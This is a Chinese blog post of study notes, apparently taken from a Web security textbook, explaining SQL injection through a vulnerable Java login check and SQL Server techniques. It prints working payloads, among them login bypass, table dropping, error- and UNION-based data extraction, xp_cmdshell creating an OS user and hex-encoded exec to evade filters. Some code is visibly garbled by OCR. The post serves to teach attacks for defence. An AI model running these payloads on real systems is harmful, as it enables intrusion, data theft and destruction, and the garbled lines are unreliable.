7-12-13知识点学习

7-12-13知识点学习

5.1实例SQL注入

经过分析发现,登录处最终调用findAdmin方法,代码如下:

public boolean findAdmin (Admin admin) {

String sq1= "select count(*)from admin where username='"+admin.getUsername()+and password='"+admin.getPassword( )+"'";	//SQL查询语句

try {

ResultSetres =this.conn. createStatement( ).executeQuery (sq1);

//执行SQL语句

if(res.next()){

int 1 = res.getInt(1);	//获取第一列的值

且f(1>0)

return true;	//如果结果大于0,则返回 true



}

} catch (Exception e){

e.printStackTrace();	//打印异常信息

}

return false;

}

上述SQL语句的意思非常清楚:在数据库中查询username=xxx,并且password=xxx的结果,若查询的值大于0,则代表用户存在,返回true,代表登录成功,否则返回false,代表登录失败。

这段代码看起来并没有什么错误,现在提交账号为admin,密码为password,跟踪SQL语句,发现最终执行的SQL语句为:

select count(*) from admin where username='admin' and password='password'

在数据库中,存在admin用户,并且密码为password,所以此时返回结果为"1"。显然,1大于0,所以通过验证,用户可以成功登录。

接下来继续输入这个特殊用户“并跟踪SQL语句,最终执行SQL语句为:

select count(*) from admin where username= '' or   1=1 --'   and  password = ''

终于找到问题的根源了,从开发人员的角度理解,SQL语句的本义是:

username= '账户' and password= '密码'

现在却变为:

username='账户'	or 1=1'	 and password=''

此时的password根本起不了任何作用,因为它已经被注释了,而且username='账户’ or 1=1

这条语句永远为真,那么最终执行的SQL语句相当于:

select count(*) from admin //查询admin表所有的数据条数

很显然,返回条数大于0,所以可以顺利通过验证,登录成功。这就是一次最简单的SQL 注入过程。虽然过程很简单,但其危害却很大,比如,在用户名位置处输入以下SQL语句:

'or 1=1; drop table admin --

因为SQL Server支持多语句执行,所以这里可以直接删除admin表。

由此可得知,SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。

仅仅知道SQL注入漏洞形成的原因还不足以完美地做好SQL注入的防护工作,因为它是防不胜防的。下面将详细介绍攻击者SQL注入的常用伎俩,以做好Web防注入工作。

5.2注入漏洞分类

在测试注入漏洞之前,首先要弄清楚一个概念:注入的分类。明白了分类之后,再测试注入将起到事半功倍的效果。

常见的SQL注入类型包括:数字型和字符型。也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。

5.2.1 数字型注入

当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。假设有URL为HTTP://www.xxser.com/test.php?id=8,可以猜测SQL语句为:

select * from table where id=8

测试步骤如下。

①HTTP://www.xxser.com/test.php?id=8'

SQL语句为:select*from table where,这样的语句肯定会出错,导致脚本程序无法从数据库中正常获取数据,从而使原来的页面出现异常。

②HTTP://www.xxser.com/test.php?id=8and1=1

SQL语句为select * from table where id=8and1=1,语句执行正常,返回数据与原始请求无任何差异。

HTTP://www.xxser.com/test.php?id=8and1=2

SQL 语句变为 select * from table whereid=8and1=2,语句执行正常,但却无法查询出数据,因为“and 1=2”始终为假。所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在SQL注入漏洞。

这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么

id=and1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞,强类型语言在这方面比弱类型语言有优势。

5.2.2 字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字类型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

·数字型例句如下:

select * from table where id=8

·字符型例句如下:

select * from table where username='admin'

字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。

当查询内容为字符串时,SQL代码如下:

select * from table where username = 'admin'

当攻击者进行SQL注入时,如果输入“admin and1=1",则无法进行注入。因为“admin and 1=1".会被数据库当作查询的字符串,SQL语句如下:

select * from table where username ='admin and 1=1

这时想要进行注入,则必须注意字符串闭合问题。如果输入“admin'and1=1⋯就可以继续注入,SQL语句如下:

select * from table where username and 1=1 --‘

只要是字符串类型注入,都必须闭合单引号以及注释多余的代码。例如,update语句:

update Person set username='username',set password='password' where id=1

现在对该SQL语句进行注入,就需要闭合单引号,可以在username或password 处插入语句为“'+(select@@version)+'”,最终执行的SQL语句为

update person set username='username', set password=''+(select @eversion)+where id=1

利用两次单引号闭合才完成SQL注入。

注:数据库不同,字符串连接符也不同,如SQL Server连接符号为“+”,Oracle连接符为“|”,MySQL连接符为空格。

例如 Insert语句

Insert into users (username,password,title) values ('username', 'password', 'title')

当注入title字段时,可以像update 注入一样,直接使用以下SQL语句:

Insert into users (username,password,title) values ('username', 'password',"'+(select @@version)+'')

5.2.3 SQL注入分类

笔者认为SQL注入只分为数字型与字符型,但是很多初学者可能会问不是还有Cookie注入、POST 注入、盲注、延时等注入吗?没错,确实如此,不过也仅仅是以上两大类的不同展现形式,

或者不同的展现位置罢了。

那么,为什么笔者认为SQL注入只分为数字型与字符型呢?因为对数据库进行数据查询时,输入数据一般只有两种:一个是数字类型,比如whereid=1、Whereage>20,另外是一个字符串类型,比如where name='root'、where datetime>'2013-08-18'。

可能不同的数据库的比较方式不一样,但带入数据库查询时一定是字符串。所以,无论是POST注入,还是其类型注入,都可归纳为数字型注入或者字符型注入。

注:严格地说,数字也是字符串,在数据库中进行数据查询时,where id='1'也是合法的,只不过在查询条件为数字时一般不会加单引号。

那么Cookie注入、POST注入等是怎么回事呢?其实这类注入主要通过注入的位置来分辨,比如有以下请求:

POST /user/login.php HTTP/1.1

Host: www.secbug.org

Proxy-Connection: keep-alive

Content-Length: 53

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko)

Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0

Content-Type: application/x-www-form-urlencoded

Cookie:  _jkb_10667=1



username=admin&password=123456

此时为POST请求,但是POST数据中的username字段存在注入漏洞,一般都会直接说POST注入,却不再考虑username是什么类型的注入,如果此时的HTTP请求如下:

GET /user/login.php?username=admin&password=123456 HTTP/1.1

Host:www.secbug.org

Proxy-Connection: keep-alive

Content-Length: 53

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko)

Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0

Content-Type: application/x-www-form-urlencoded

Cookie:-jkb10667=1

那么是否又应该叫做GET注入呢?

以下是一些常见的注入叫法。

·POST 注入:注入字段在POST数据中:

·Cookie 注入:注入字段在 Cookie 数据中;

·延时注入:使用数据库延时特性注入;

·搜索注入:注入处为搜索的地点;

·base64注入:注入字符串需要经过base64加密;

5.2.4 常见数据库注入

攻击者对数据库注入,无非是利用数据库获取更多的数据或者更大的权限,那么利用方式可以归为以下几大类:

·查询数据

·读写文件

·执行命令

在权限允许的情况下,通常数据库都支持以上三种操作。而攻击者对程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的SQL语句不一样罢了。

5.3.1 SQL Server

1.利用错误消息提取信息

SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发人员来说,这是一件十分美好的事情,对攻击者来说也是一件十分美好的事情,因为攻击者可以通过错误消息提取数据。

(1)枚举当前表及列

现在有一张表,结构如下:

create table users(

id int not null identity(1,1),

username varchar(20) not null,

password varchar(20) not null,

privs int not nu11,

email varchar(50)
)

查询root用户的详细信息,SQL语句如下:

select * from users where username='root'

攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:

having1=1-

最终执行SQL语句为:

select * from users where username='root' and password='root' having 1=1--1

那么SQL执行器将抛出一个错误(因版本差异,显示错误信息也稍有差异):

消息8120,级别16,状态1,第2行

选择列表中的列'users.id'无效,因为该列没有包含在聚合函数或GROUP BY子句中

可以发现当前表名为“users”,并且存在“ID”列名,攻击者可以利用此特性继续得到其他列名,输入如下SQL语句:

select * from users where username='root' and password='root' group by users.id having 1=1--

执行器错误提示:

消息8120级别16,状态1,第1行

选择列表中的列 ‘users.username‘无效,因为该列没有包含在聚合函数或GROUP BY子句中。

可以看到执行器又抛出了“username”列名,由此可以依次递归查询,直到没有错误消息返回为止,这样就可以利用having子句“查询”出当前表的所有列名。

(2)利用数据类型错误提取数据

如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另外一个不兼容的类型时,那么SQL编辑器将会抛出异常,比如以下SQL语句:

select * from users where username='root‘ and password = ‘root’ and 1 > (select top 1 username from users)

执行器错误提示:

消息245,级别16,状态1,第2行

在将varchar值’root’转换成数据类型int时失敗。

可以发现root账户已经被SQL Server给“出卖”了,利用此方法可以递归推导出所有的账户信息:

select * from users where username='root' and

password='root' and 1> ( select top 1 username from users where username not in('root'))

如果不嵌入子查询,也可以使数据库报错,这就用到了SQL Server的内置函数CONVERT 或者CASE函数,这两个函数的功能是:将一种数据类型转换为另外一种数据类型。输入如下SQL语句:

select * from users where username='root' and

password='root' and1=cotver(∈t,(select top 1 users.username from users ))

如果感觉递归比较麻烦,可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL 语句如下:

select * from userswhere username='root' AND

(select stuff((select ','+ users.username, '|' +users.password from users for xml path('')),1,1,'')))

TABLE_NAME
1 Result
2 Student
3 tests
4 users
5 Grade
6 Subject
COLUMN_NAME
1 StudentNo
2 LoginPwd
3 StudentName
4 Sex
5 Gradeld
6 Phone

执行器抛出异常:

消息245,级别16,状态1,第1行

在将 nvarchar 'root|root,admin|admin,xxser|xxser'转换成数据类型 int 时失敗****。

2.获取元数据

SQL Server提供了大量视图,便于取得元数据。下面将使用 INFORMATION_SCHEMA.TABLES 与INFORMATION_SCHEMA.COLUMNS 视图取得数据库表以及表的字段。

取得当前数据库表:

SELECT TABLE NAME FROM INFORMATION SCHEMA.TABLES

执行结果如图5-3所示。

取得Student表字段:

SELECT COLUMN NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student'

表5-1 常见表视图

数据库视图 说 明
sys.databases SQL Server 中的所有数据库
sys.sql_logins SQL Server 中的所有登录名
information_schema.tables 当前用户数据库中的表
information_schema.columns 当前用户数据库中的列
sys.all_columns 用户定义对象和系统对象的所有列的联合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 存储在数据库中的数据库文件
sysobjects 数据库中创建的每个对象(例如约束、日志以及存储过程)

3.Order by 子句

微软解释 Order by子句:为SELECT查询的列排序,如果同时指定了TOP关键字,Order by 子句在视图、内联函数、派生表和子查询中无效。

攻击者通常会注入Order by语句来判断此表的列数。

① select id,username,password from users where id=1-SQL执行正常。

② select id,username,password from users wherei=1Order by 1-按照第一列排序,SQL 执行正常。

③ select id,username,password from users where ii=1Order by 2-按照第二列排序,SQL 执行正常。

④ select id,username,password from users wherei=1Order by 3-按照第三列排序,SQL 执行正常。

⑤ select id,username,password from users wherei=1Order by 4-抛出如下异常。

消息108,级别16,状态1,第1行

ORDER BY 位置号4 超出了选择列表中项数的范围。

在SQL语句中,只查询了三列,而我们却要求数据库按照第四列排序,所以数据库抛出异常,而攻击者也得知了当前SQL语句有几列存在。在Oracle、MySQL数据库中同样适用此语句。

在得知列数后,攻击者通常会配合UNION关键字进行下一步的攻击。

4.UNION 查询

UNION 关键字将两个或更多个查询结果组合为单个结果集,俗称联合查询,大部分数据库都支持UNION查询,如:MySQL、SQL Server、Oracle、DB2等。下面列出了使用 UNION 合并两个查询结果集的基本规则。

·所有查询中的列数必须相同。

·数据类型必须兼容。

例一:联合查询探测字段数

前面介绍的USER表中,查询id字段为1的用户,正常的SQL语句为:

select id,username,password from users wherei=1

使用UNION查询对id字段注入,SQL语句如下:

select id,username,password,sex from users where id = 1 union select null

数据库发出异常:

消息205,级别16,状态1,第1行

使用 UNION、INTERSECT 或 EXCEPT 运算符合并的所有查询必须在其目标列表中有相同数目的表达式。

递归查询,直到无错误产生,可得知User表查询的字段数:

union select null,null

union select null,null,null

也有人喜欢使用union select 123 语句,不过该语句容易出现类型不兼容的异常。

前面已经介绍了如何获取字段数,接下来曝光攻击者如何使用 UNION 关键字查询敏感信息,UNION查询可以在SQL注入中发挥非常大的作用。

如果得知列数为4,可以使用以下语句继续注入

id=5union select 'x',null,null,null from sysobject where

如果第1列数据类型不匹配,数据库将会报错,这时可以继续递归查询,直到语句正常执行为止。

id=5union select null, 'x',nu11,null from sysobject where

id=5union select null, null, 'x',null from sysobject where

语句执行正常,代表数据类型兼容,就可以将x换为SQL语句,查询敏感信息。

也有攻击者喜欢用UNION ALL关键字,UNION和UNION ALL最大的区别在于UNION 会自动去除重复的数据,并且按照默认规则排序。

5.无辜的函数

SQL Server提供了非常多的系统函数,利用该系统函数可以访问 SQL Server 系统表中的信息,而无须使用SQL语句查询。系统函数给我们带来极大便利的同时也成了攻击者获取信息的利器。

使用系统函数是一件非常简单的事情,例如:

·select suser_name():返回用户的登录标识名;

·select user _name():基于指定的标识号返回数据库用户名;

·select db_name():返回数据库名称;

·select is_member('db _owner'):是否为数据库角色;

·select convert(int,'5'):数据类型转换。

SQL Server 常用函数如表5-2所示。

表5-2 SQL Server常用函数

函 数 说 明
stuff 字符串截取函数
ascii 取ASCII码
char 根据ASCII码取字符
getdate 返回日期
count 返回组中的总条数
cast 将一种数据类型的表达式显式转换为另一种数据类型的表达式
rand 返回随机值
is_srvrolemember 指示SQL Server登录名是否为指定服务器角色的成员

6.危险的存储过程

存储过程(Stored Procedure)是在大型数据库系统中为了完成特定功能的一组SQL“函数”,

如:执行系统命令,查看注册表,读取磁盘目录等。

攻击者最常使用的存储过程是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令。

例如:http://www.secbug.org/test.aspx?id=1存在注入点,那么攻击者就可以实施命令攻击:

http://www.secbug.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

最终执行SQL语句如下:

select * from table where id=1; exec xp_cmdshell 'net user test test /add'

攻击者可以直接利用xp_cmdshell 操纵服务器

注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有CONTROL SERVER 权限。

像xp_cmdshell之类的存储过程还有很多,常见的危险存储过程如表5-3所示。

表5-3 常见的存储过程

过程 说 明
创建新的 SQL Server登录,该登录允许用户使用SQL Server身份验证连
sp_addlogin 接到SQL Server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft WVindows本地组列表或在指定的Windows域中定义的全局组列表
xp_regwrite 未被公布的存储过程,写入注册表
xp_regread 读取注册表
xp_regdeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

攻击者也可能会自己写一些存储过程,比如I/O操作(文件读/写),这些都是可以实现的。

另外,任何数据库在使用一些特殊的函数或存储过程时,都需要有特定的权限,否则无法使用。

SQL Server数据库的角色与权限如下。

·bulkadmin:角色成员可以运行BULK INSERT 语句。

·dbcreator:角色成员可以创建、更改、删除和还原任何数据库。

·diskadmin:角色成员可以管理磁盘文件。

·processadmin:角色成员可以终止在数据库引擎实例中运行的进程。

·securityadmin:角色成员可以管理登录名及其属性。可以利用 GRANT、DENY 和REVOKE 服务器级别的权限;还可以利用GRANT、DENY和REVOKE 数据库级别的权限。此外,也可以重置SQL Server登录名的密码。

·serveradmin:角色成员可以更改服务器范围的配置选项和关闭服务器。

·setupadmin:角色成员可以添加和删除链接服务器,并可以执行某些系统存储过程。

·sysadmin:角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员。

7.动态执行

SQL Server支持动态执行语句,用户可以提交一个字符串来执行SQL语句,例如:

exec('select username,password from users')

exec('selec'+'t username,password fusers')

也可以通过定义十六进制的SQL语句,使用exec函数执行。大部分Web应用程序防火墙都过滤了单引号,利用exec执行十六进制SQL语句并不存在单引号,这一特性可以突破很多防火墙及防注入程序,如:

declare @query varchar(888)

select @query=0x73656C6563742031

expc(equery)

或者

detarte//@query//varchar(888)/★★/select/★★/query=0×73656C6563742031//expexe c(@query)**

posted @ 2025-07-13 23:02  shanlinchuanze  阅读(28)  评论(0)    收藏  举报